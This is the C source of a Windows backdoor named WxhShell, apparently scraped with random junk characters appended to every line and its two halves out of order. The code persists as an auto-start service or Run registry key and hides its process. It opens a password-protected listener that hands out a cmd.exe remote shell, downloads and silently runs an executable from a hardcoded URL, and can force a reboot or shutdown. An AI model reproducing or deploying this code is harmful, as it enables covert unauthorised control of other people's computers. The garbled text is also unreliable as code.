    ExitThread(0); { Dm@_&  
    } b?,%M^9\`  
    break; KlS#f  
    } GB}=  
  // 获取shell :Sd`4"AA  
  case 's': { sz/^Ie-~  
    CmdShell(wsh); W?wt$'  
    closesocket(wsh); 8_Uh h5[  
    ExitThread(0); m:0[as=  
    break; 9(!AKKrr;  
  } hP.Km%C)0n  
  // 退出 s3@mk\?qMe  
  case 'x': { ]n"RPktx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "LkBN0D  
    CloseIt(wsh); b+arnKo1fk  
    break; .I#_~C'\  
    } iWA?FBv  
  // 离开 B1U!*yzG6  
  case 'q': { GNrRc3dr$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l. cp[  
    closesocket(wsh); NMhpKno  
    WSACleanup(); rx9y^E5T`;  
    exit(1); ?>V>6cDQ  
    break; T fIOS]  
        } [Pjitw/?  
  } v#s*I/kw  
  } a-F I`Dv  
-nHkO&&R  
  // 提示信息 gzKMGL?%?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S!gzmkGcj  
} [iO8R-N8d  
  } eGpKoq7a  
#+U1QOsz  
  return; PP!-*~F0Jr  
} A X1!<K  
?fC9)s  
// shell模块句柄 d8 Jf3Mo  
int CmdShell(SOCKET sock) (.Ak*  
{  CDuA2e  
STARTUPINFO si; *pnaj\  
ZeroMemory(&si,sizeof(si)); Uz rf,I[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w8UUeF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t18j2P>`  
PROCESS_INFORMATION ProcessInfo; EVaHb;  
char cmdline[]="cmd"; 6:; >id${  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LCj3{>{/=  
  return 0; /5L\:eX%  
} 'PFjZGaKR  
2T(+VeMQ=  
// 自身启动模式 p"jze3mF  
int StartFromService(void) $- %um  
{ EN/t5d  
typedef struct dy5}Jn%L  
{ kn$_X4^?  
  DWORD ExitStatus; 4<E <sD  
  DWORD PebBaseAddress; -gt ?5H h  
  DWORD AffinityMask; ew dTsgt'  
  DWORD BasePriority; L%\Wt1\[  
  ULONG UniqueProcessId; iOb7g@=  
  ULONG InheritedFromUniqueProcessId; 0#uB[N  
}   PROCESS_BASIC_INFORMATION; Qhc; Zl  
_ gYj@ %  
PROCNTQSIP NtQueryInformationProcess; _Ds,91<muQ  
y`7<c5zD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6dz^%Ub  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W1)<!nwA  
W+"^!p|  
  HANDLE             hProcess; .o C! ~'  
  PROCESS_BASIC_INFORMATION pbi; YtWw)IK  
V'Kied+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZPb30M0  
  if(NULL == hInst ) return 0; q^zG+FN  
-D=Sj@G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MVvBd3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j} ^3v #  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f#GMJ mCQs  
hjFht+j1  
  if (!NtQueryInformationProcess) return 0; 7D:rq 8$\  
C^B$_?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (&v|,.c^)1  
  if(!hProcess) return 0; ly6zz|c5  
F |5Au>t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oCI\yp@a  
$^?VyHXvY  
  CloseHandle(hProcess); p19@to5l  
r`EjD}2d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >s"/uo  
if(hProcess==NULL) return 0; &zEBfr  
=GF=_Ac  
HMODULE hMod; u1#(~[.  
char procName[255]; ?(K=du  
unsigned long cbNeeded; jg{2Sxf!c  
4`:POu&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wJq$yqos{  
Xfqin4/jC  
  CloseHandle(hProcess); 3^ y<Db  
2@2d |  
if(strstr(procName,"services")) return 1; // 以服务启动 Dg0rVV6c  
SvvNk  
  return 0; // 注册表启动 /JC1o&z_T  
} ?vAhDD5  
+By'6?22  
// 主模块 <)(W7#Ks  
int StartWxhshell(LPSTR lpCmdLine) HKT, 5  
{ ,i<cst)$u  
  SOCKET wsl; hf2bM `d  
BOOL val=TRUE; Avi_]h&  
  int port=0; _<sN54  
  struct sockaddr_in door; h\3-8m  
s>L.V2!$0  
  if(wscfg.ws_autoins) Install(); 7t<MHdw  
h| wdx(4  
port=atoi(lpCmdLine); ?#Z4Dg 9|  
\ ya@9OA  
if(port<=0) port=wscfg.ws_port; |#Lz0<c;  
p?cc Bq  
  WSADATA data; g9VY{[ V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g\.$4N  
,3f>-mP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $*%,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T7.SjR6X>  
  door.sin_family = AF_INET; ug ;Xoh5w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j_<!y(W  
  door.sin_port = htons(port); ysIhUpd  
aHpZhR| f$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZBY2,%nAo  
closesocket(wsl); WfG +_iP?  
return 1; @Bhcb.kbq  
} },JJ!3  
7/QK"0  
  if(listen(wsl,2) == INVALID_SOCKET) { (Y7zaAG]  
closesocket(wsl); sw$uZ$$~#  
return 1; L{8_6s(:  
} LOfw #+]d  
  Wxhshell(wsl); <Oh i+a%6  
  WSACleanup(); r#)1/`h  
rg>2tgA  
return 0; vFntzN>#  
a oU"  
} W~D_+[P|_  
u|Mx}  
// 以NT服务方式启动 _\tv ${  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EUcD[Rv  
{ ]2)A/fOW  
DWORD   status = 0; j"h/v7~  
  DWORD   specificError = 0xfffffff; 0<~~0US  
?-mOAHW0q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \ DZ.#=d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MSvZ3[5Io  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s*yl& El/  
  serviceStatus.dwWin32ExitCode     = 0; +#BOWz  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ `Ozw^~  
  serviceStatus.dwCheckPoint       = 0; t&{;6MiE  
  serviceStatus.dwWaitHint       = 0; \-;f<%+  
GVnDN~[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3lpxh_  
  if (hServiceStatusHandle==0) return; 0`c{9gY.  
2y^:T'p  
status = GetLastError(); W>d)(  
  if (status!=NO_ERROR) %ZWt 45A  
{ 9AB U^ig  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HV/:OCK  
    serviceStatus.dwCheckPoint       = 0; ^OWG9`p+  
    serviceStatus.dwWaitHint       = 0; h`1<+1J9  
    serviceStatus.dwWin32ExitCode     = status; Fl=H5HR  
    serviceStatus.dwServiceSpecificExitCode = specificError; UiH7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @g5y_G{SP  
    return; ]&Y^  
  } 5{V"!M+<  
;j1E6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `<se&IZE  
  serviceStatus.dwCheckPoint       = 0; KU` *LB:  
  serviceStatus.dwWaitHint       = 0; Ri"hU/H{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lN g){3  
} 6 V0Ayxg7  
JJ?rVq1g  
// 处理NT服务事件,比如:启动、停止 j;coPehB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ..u{v}4&  
{ 9_:"`)] 3B  
switch(fdwControl) r@zT!.sc!  
{ Muk J^h*V  
case SERVICE_CONTROL_STOP: a,RCK~GR  
  serviceStatus.dwWin32ExitCode = 0; %hYgG;22  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '_.qhsS  
  serviceStatus.dwCheckPoint   = 0; pz['o  
  serviceStatus.dwWaitHint     = 0; /CsP@f_Gw  
  { 7<WS@-2I#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~CnnN[g(_  
  } g_syGQ\  
  return; ={P`Tve  
case SERVICE_CONTROL_PAUSE: [ZSC]w^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $]E+E.P  
  break; g[pU5%|"[  
case SERVICE_CONTROL_CONTINUE: -\?-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xWzybuLp  
  break; m- <y|3  
case SERVICE_CONTROL_INTERROGATE: VrZfjpV  
  break; ^*.$@M  
}; 23^>#b7st  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U; oXX  
} ~bb6NP;'L  
P5_Ajb(@'  
// 标准应用程序主函数 { %X2K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lF!PiL  
{ vNs%e/~vj  
<<MpeMi  
// 获取操作系统版本 gp`@dn';  
OsIsNt=GetOsVer(); ;(`bP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xE<H@@w  
"PI;/(kR  
  // 从命令行安装 o( zez  
  if(strpbrk(lpCmdLine,"iI")) Install(); *FC8=U2\X  
C 6 \  
  // 下载执行文件 C][hH?.  
if(wscfg.ws_downexe) { L4/ns@e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n~yKq"^  
  WinExec(wscfg.ws_filenam,SW_HIDE); $"/l*H\h  
} @r*GGI!  
^ul1{  
if(!OsIsNt) { 0@ "'SKq  
// 如果时win9x,隐藏进程并且设置为注册表启动 'xqyG XI  
HideProc(); ?Cf'IBpN  
StartWxhshell(lpCmdLine); mgx|5Otg  
} ~+4lmslR  
else *Sj) 9mp  
  if(StartFromService()) *% ;A85V/  
  // 以服务方式启动 9S]pC?N]E  
  StartServiceCtrlDispatcher(DispatchTable); jJiuq#;T3  
else X.4WVI  
  // 普通方式启动 U%:%. Bys  
  StartWxhshell(lpCmdLine); [l5jPL}6  
~q566k!Ll!  
return 0; 9/0H,qZc  
} *>=tmW;%  
}}TPu8Rl  
/8qR7Z^HZ  
Wu$ryX  
=========================================== Z. gb'  
EWDsBNZaI  
PM[W7g T  
j? BL8E'   
Q*#Lr4cm{  
ON\bD?(VY  
" _1gNU]"  
WMtFXkf6"  
#include <stdio.h> C:Rs~@tl  
#include <string.h> I20~bW  
#include <windows.h> 1M??@@X  
#include <winsock2.h> G)< B7-72;  
#include <winsvc.h> c.]QIIdK  
#include <urlmon.h> A2ye ^<-C.  
G^d3$7  
#pragma comment (lib, "Ws2_32.lib") /P,1KVQPh  
#pragma comment (lib, "urlmon.lib") 7/<~s]D[%  
TzaeE  
#define MAX_USER   100 // 最大客户端连接数 p+=zl`\=|  
#define BUF_SOCK   200 // sock buffer k(H]ILL  
#define KEY_BUFF   255 // 输入 buffer md{nHX&  
q$" u<  
#define REBOOT     0   // 重启 S&UP;oc  
#define SHUTDOWN   1   // 关机 _oc6=Z  
q&@s/k  
#define DEF_PORT   5000 // 监听端口 SzpUCr"  
&{8:XJe*,%  
#define REG_LEN     16   // 注册表键长度 a%`Yz"<lQ  
#define SVC_LEN     80   // NT服务名长度 ^x O](,H  
Y[7prjd  
// 从dll定义API H[KX xNYZ_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tP|/Q 5s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jp"29 )w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z]b;%:>=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .c]>*/(+  
)Q`Ycz-  
// wxhshell配置信息 =a,qRO  
struct WSCFG { x]wi&  
  int ws_port;         // 监听端口 s&nat4{B  
  char ws_passstr[REG_LEN]; // 口令 yGtTD9j  
  int ws_autoins;       // 安装标记, 1=yes 0=no H1U$ApD  
  char ws_regname[REG_LEN]; // 注册表键名 bQ3<>e\%B  
  char ws_svcname[REG_LEN]; // 服务名 e: Sd#H!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JR `$t~0t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xwD`R *  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ir.RO7f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cL#-vW<s3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *RS/`a;,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fya*[)HBo  
A;rk4)lij  
}; Rf4K Rhi  
Fvk=6$d2  
// default Wxhshell configuration %|H]T] s  
struct WSCFG wscfg={DEF_PORT, O MQ?*^eA  
    "xuhuanlingzhe", ~`Bk CTT  
    1, Ich^*z(F$  
    "Wxhshell", P,] ./m\J  
    "Wxhshell", &Pme4IHtm  
            "WxhShell Service", ~vDa2D<9%  
    "Wrsky Windows CmdShell Service", {c)\}s(}F  
    "Please Input Your Password: ", V $I8iVGL  
  1, %( 7##f_  
  "http://www.wrsky.com/wxhshell.exe", 9oc_*V0<  
  "Wxhshell.exe" If'2 m_  
    }; L3\#ufytb  
ZbT$f^o}M]  
// 消息定义模块 *yT>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >6Uc|D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L,A+"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -'qVnu  
char *msg_ws_ext="\n\rExit."; J(}PvkA  
char *msg_ws_end="\n\rQuit."; \VhG'd3k  
char *msg_ws_boot="\n\rReboot..."; |qe;+)0>K  
char *msg_ws_poff="\n\rShutdown..."; _(g0$vRP~  
char *msg_ws_down="\n\rSave to "; ~-vCY  
AmIW$(Ce  
char *msg_ws_err="\n\rErr!"; E'4Psx9: =  
char *msg_ws_ok="\n\rOK!"; 4#>Z.sf  
?0:]% t18  
char ExeFile[MAX_PATH]; tx d0S!  
int nUser = 0; Z#@  
HANDLE handles[MAX_USER]; Zfk]Z9YO  
int OsIsNt; 9Zd\6F,  
B0|W  
SERVICE_STATUS       serviceStatus; QBGm)h?=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (8m_GfT  
 b}NNkM  
// 函数声明 NUVKAAgMX  
int Install(void); $)NS]wJ]3  
int Uninstall(void); ~.3v\Q  
int DownloadFile(char *sURL, SOCKET wsh); RN 4?]8  
int Boot(int flag); *_I`{9~'  
void HideProc(void); |Io:D:  
int GetOsVer(void); U)f('zD  
int Wxhshell(SOCKET wsl); bu6Sp3g  
void TalkWithClient(void *cs); U%bm{oVn  
int CmdShell(SOCKET sock); M`al~9  
int StartFromService(void); !y XGAg,  
int StartWxhshell(LPSTR lpCmdLine); ,u>LAo0  
ORrZu$n`p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yq|yGf(4&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |*JMPg?zI  
=5*Wu+S4r  
// 数据结构和表定义 P^"RH&ZQJ  
SERVICE_TABLE_ENTRY DispatchTable[] = '|=Pw  
{ ?WXftzdf6u  
{wscfg.ws_svcname, NTServiceMain}, S|| W  
{NULL, NULL} EGgw#JAi#t  
}; '6vo#D9M  
kCEuzd=$V  
// 自我安装 ) ??N]V_U  
int Install(void) ;MNUT,U  
{ c! kr BS  
  char svExeFile[MAX_PATH]; fx+_;y  
  HKEY key; KF#^MEw%  
  strcpy(svExeFile,ExeFile); I1m[M?  
@P~%4:!Hr  
// 如果是win9x系统,修改注册表设为自启动 ?&9=f\/P  
if(!OsIsNt) { *K_8=TIA*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0IqGy}+VU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d6*84'|!  
  RegCloseKey(key); >6yQuB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^G`6Zg;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l4i 51S"  
  RegCloseKey(key); GdUsv  
  return 0; Wap4:wT  
    } {.kIC@^O  
  } }Fu1Y@M%  
} uMva5o  
else { ] / Nt  
7xO05)bz  
// 如果是NT以上系统,安装为系统服务 _+ 9i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |U1 [R\X  
if (schSCManager!=0) "{~FEx4  
{ ]cP%d-x}  
  SC_HANDLE schService = CreateService zAM9%W2v_  
  ( @~s5{4  
  schSCManager, dakHH@Q  
  wscfg.ws_svcname, ;UgwV/d  
  wscfg.ws_svcdisp, @k;65'"Q  
  SERVICE_ALL_ACCESS, VD&wO'U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @yb'h`f]  
  SERVICE_AUTO_START, M2ex 3m  
  SERVICE_ERROR_NORMAL, G{6@]72  
  svExeFile, )jl@ hnA  
  NULL, : 8>zo  
  NULL, bC+Z R{M  
  NULL, #!z-)[S.+  
  NULL, e0 y.J  
  NULL Hy :x.'i  
  ); $+J39%Y!^  
  if (schService!=0) /9kxDbj  
  { XdThl  
  CloseServiceHandle(schService); 7#+Ih-&EQ  
  CloseServiceHandle(schSCManager); ~Yc~_)hD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %t,42jQ9  
  strcat(svExeFile,wscfg.ws_svcname); ^A&{g.0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (*r2bm2FPO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]T/%Bau  
  RegCloseKey(key); yLLA:5Q1  
  return 0; U@).jpN  
    } _ZavY<6  
  } !I1p`_(_7  
  CloseServiceHandle(schSCManager); =7TWzUCO#  
} T rh t2Iv  
} b+:mV7eX  
Txo{6nd/  
return 1; ZiY2N*,VO  
} 7Z:3xb&>   
EsWB|V>  
// 自我卸载 i 7T#WfF  
int Uninstall(void) }2S!;swg+  
{ 6!0NFP~b  
  HKEY key; _YR#J%xa  
cd,'37pZ  
if(!OsIsNt) { cHr]{@7Cs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YIW9z{rrs  
  RegDeleteValue(key,wscfg.ws_regname); 8*&-u +@%  
  RegCloseKey(key); B/3~[ '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }N -UlL(  
  RegDeleteValue(key,wscfg.ws_regname); XelFGTE  
  RegCloseKey(key); W20- oZ8  
  return 0; XOqHzft h6  
  }  dEXhn  
} A4l"^dZc  
} _:Q^mV=;j  
else { }P%gwgPK  
$I-iq @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3F;0a ;[  
if (schSCManager!=0) m`zd0IRTP  
{ w7~]c,$y.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1f^oW[w&  
  if (schService!=0) ,[p?u']yZz  
  { BeRs;^r+  
  if(DeleteService(schService)!=0) { yg}L,JJU<  
  CloseServiceHandle(schService); _3wJ;cn.  
  CloseServiceHandle(schSCManager); qDswFs(  
  return 0; !-qk1+<h  
  } o"RE4s\G~r  
  CloseServiceHandle(schService); YRZw|H{>t  
  } F ! v01]O  
  CloseServiceHandle(schSCManager); 4`v[p4k  
} ;;UsHhbhI  
} IuPDr %  
~hk!N!J\  
return 1; IA1O]i S  
} W!8$:Ih_Z  
UE_>@_T  
// 从指定url下载文件 BSy4 d>  
int DownloadFile(char *sURL, SOCKET wsh) 4V@0L  
{ !#]kzS0  
  HRESULT hr; EX<1hAw  
char seps[]= "/"; o>]w76A^(  
char *token;  ]igCV  
char *file; "e\73?P  
char myURL[MAX_PATH]; O+XQP!T  
char myFILE[MAX_PATH]; oKSW:A  
$(J)F-DB i  
strcpy(myURL,sURL); wAR:GO'n  
  token=strtok(myURL,seps); .w m<l:  
  while(token!=NULL) ZPM7R3%V)z  
  { T5pc%%q  
    file=token; 2mj>,kS?c  
  token=strtok(NULL,seps); |OF3J,q  
  } bU}!bol  
jj ` 0w@  
GetCurrentDirectory(MAX_PATH,myFILE); T2W^4)  
strcat(myFILE, "\\"); -=rGN"(M _  
strcat(myFILE, file); /s)It  
  send(wsh,myFILE,strlen(myFILE),0); 25, [<Ao  
send(wsh,"...",3,0); ;ACeY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {QK9pZB  
  if(hr==S_OK) k]& I(VQ"  
return 0; Obc,    
else N]c:8dOj  
return 1;  h;K9}w  
:1iXBG\  
} <9=RLENmY"  
. VI #  
// 系统电源模块 Jl"DMUy[kW  
int Boot(int flag) t@cBuV`9c  
{  :i?c  
  HANDLE hToken; Qw% 0<~<  
  TOKEN_PRIVILEGES tkp; Z#%77!3  
)Knsy  
  if(OsIsNt) { 8v;T_VN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n!b*GXb\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $[=`*m  
    tkp.PrivilegeCount = 1; ?K}KSJ6_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JLyFk V/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z.>?Dt  
if(flag==REBOOT) { !})3Fb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I$i1o #H  
  return 0; Pt;\]?LVrD  
} ~ C_2D?  
else { g=v[@{9Pw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E\}Q9, Z$  
  return 0; kr1^`>O5  
} g ]}] /\  
  } 1^;&?E  
  else { <* PjG}Z.  
if(flag==REBOOT) { xi\uLu?i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )./'RE+(k  
  return 0; A,ao2)  
} Q([g1?F9*  
else { v#IZSBvuQK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oU 8o;zk0  
  return 0; Ox/va]e7"  
} K&Q0]r?  
} v:j4#pEWD  
P|)SXR  
return 1; Sag\wKV8  
} VHws9)  
]Otl(\v(h  
// win9x进程隐藏模块 \=~<I  
void HideProc(void) gwF@'Uu  
{ !lB,2_  
q%^gG03.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }W%}_UT  
  if ( hKernel != NULL ) U(qM( E  
  { z<P#dj x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xhMdn3~U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R ?\8SdJ  
    FreeLibrary(hKernel); Un[#zh<4  
  } &jPsdv h  
gzdgnF2  
return; 8|Y^z_C  
} ~yf5$~Z  
MN)<Tr2f  
// 获取操作系统版本 mKq9mA"(E  
int GetOsVer(void) `Op ";E88  
{ %s)E}cGH  
  OSVERSIONINFO winfo; ~GY;{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IWpUbD|kC  
  GetVersionEx(&winfo);  Q{Bj(f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ||,;07  
  return 1; &c@I4RV|q  
  else ZNA?`Z)f  
  return 0; ?,),%JQ  
} ]g+(#x_.?  
IweQB}d  
// 客户端句柄模块 qx? lCz a"  
int Wxhshell(SOCKET wsl) en~(XE1  
{ eZJOI1wNp  
  SOCKET wsh; i|d41u;@  
  struct sockaddr_in client;  y.eBFf  
  DWORD myID; ;NPb  
%r,2ZLZ  
  while(nUser<MAX_USER) hQ8{ A7  
{ >\p}UPx  
  int nSize=sizeof(client); ,!py n<_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =O _[9kuJ  
  if(wsh==INVALID_SOCKET) return 1; 02S(9^=  
2Uk8{d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <*5D0q#~"  
if(handles[nUser]==0) 3 \WdA$Wx  
  closesocket(wsh); _bz,G"w+:  
else Zd%\x[f9ck  
  nUser++; n<$I,IRE  
  } nMbV{h ,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #5I "M WA  
t[ MRyi)LF  
  return 0; ?^+|V,<  
} q B 2#EsZ  
1Q$ M/}  
// 关闭 socket xX>448=  
void CloseIt(SOCKET wsh) U)o8Tr  
{ 4'8.f5  
closesocket(wsh); / q!&I  
nUser--; @<sP1`1  
ExitThread(0); Z,&ywMm/G  
} 5LK>n-  
]- `{kX  
// 客户端请求句柄 =f p(hX"  
void TalkWithClient(void *cs) tw')2UGg  
{ ?{dno=  
+]_} \  
  SOCKET wsh=(SOCKET)cs; Zj0&/S  
  char pwd[SVC_LEN]; fj JIF%  
  char cmd[KEY_BUFF]; *Ee# x!O  
char chr[1]; %qv7;E2C  
int i,j; 87/{\h  
ZqGq%8\.s  
  while (nUser < MAX_USER) { S9BJjo  
n(+:l'#HJ  
if(wscfg.ws_passstr) { pVY.&XBZ$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5VcYdu3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ']NM_0  
  //ZeroMemory(pwd,KEY_BUFF); $_UF9 l0  
      i=0; *]=)mM#  
  while(i<SVC_LEN) { m ;vNA  
7> QtO  
  // 设置超时 32Z4&~ I  
  fd_set FdRead; dA~6{*)  
  struct timeval TimeOut; -|kDa1knA  
  FD_ZERO(&FdRead); YD%Kd&es  
  FD_SET(wsh,&FdRead); +Lr0i_al  
  TimeOut.tv_sec=8; N!3f1d7RQ  
  TimeOut.tv_usec=0; ;vx9xs?6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HTG;'$H^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h^)2:0#{I  
dd+).*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xVP GlU  
  pwd=chr[0]; I|:j~EY  
  if(chr[0]==0xd || chr[0]==0xa) { Bk F[nL*|  
  pwd=0; G~Sfpf  
  break; re*/JkDq3K  
  } ;D7jE+  
  i++; A!~o?ej  
    } ^pP 14y*go  
gs3}rW  
  // 如果是非法用户,关闭 socket zkOgL9 (_8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 73.b9mF  
} m~K]|]iqQ  
tQ67XAb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {mQJ6 G'ny  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #@fypCc  
2 ^aTW`>L  
while(1) { >seB["C  
BSY#xe V  
  ZeroMemory(cmd,KEY_BUFF); SOL=3hfb^  
>vU Hf`4T  
      // 自动支持客户端 telnet标准   bW]+Og  
  j=0; yN.D(ZwF:  
  while(j<KEY_BUFF) { G dU W$.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %ab79RS]C  
  cmd[j]=chr[0]; ;<A/e  
  if(chr[0]==0xa || chr[0]==0xd) { 5dk,!Cjg  
  cmd[j]=0; YovY0nO  
  break; v=>Gvl3&U  
  } ccSSa u5N  
  j++; v#FUD-Z  
    } G;;~xfE'  
96avgyc  
  // 下载文件 luT8>9X^:a  
  if(strstr(cmd,"http://")) { u"jnEKN0y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LayU)TIt  
  if(DownloadFile(cmd,wsh)) 8gNEL+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^d*>P|n*@e  
  else M)7enp) F.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V]}b3Y!(  
  } hd;I x%tq>  
  else { d#Ajb  
]N_^{k,  
    switch(cmd[0]) { vp@+wh]#  
  =*Xf(mhc  
  // 帮助 M jTKM;  
  case '?': { bB-v ar  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h'p0V@!N  
    break; ;>9pJ72r  
  } `%3p.~>  
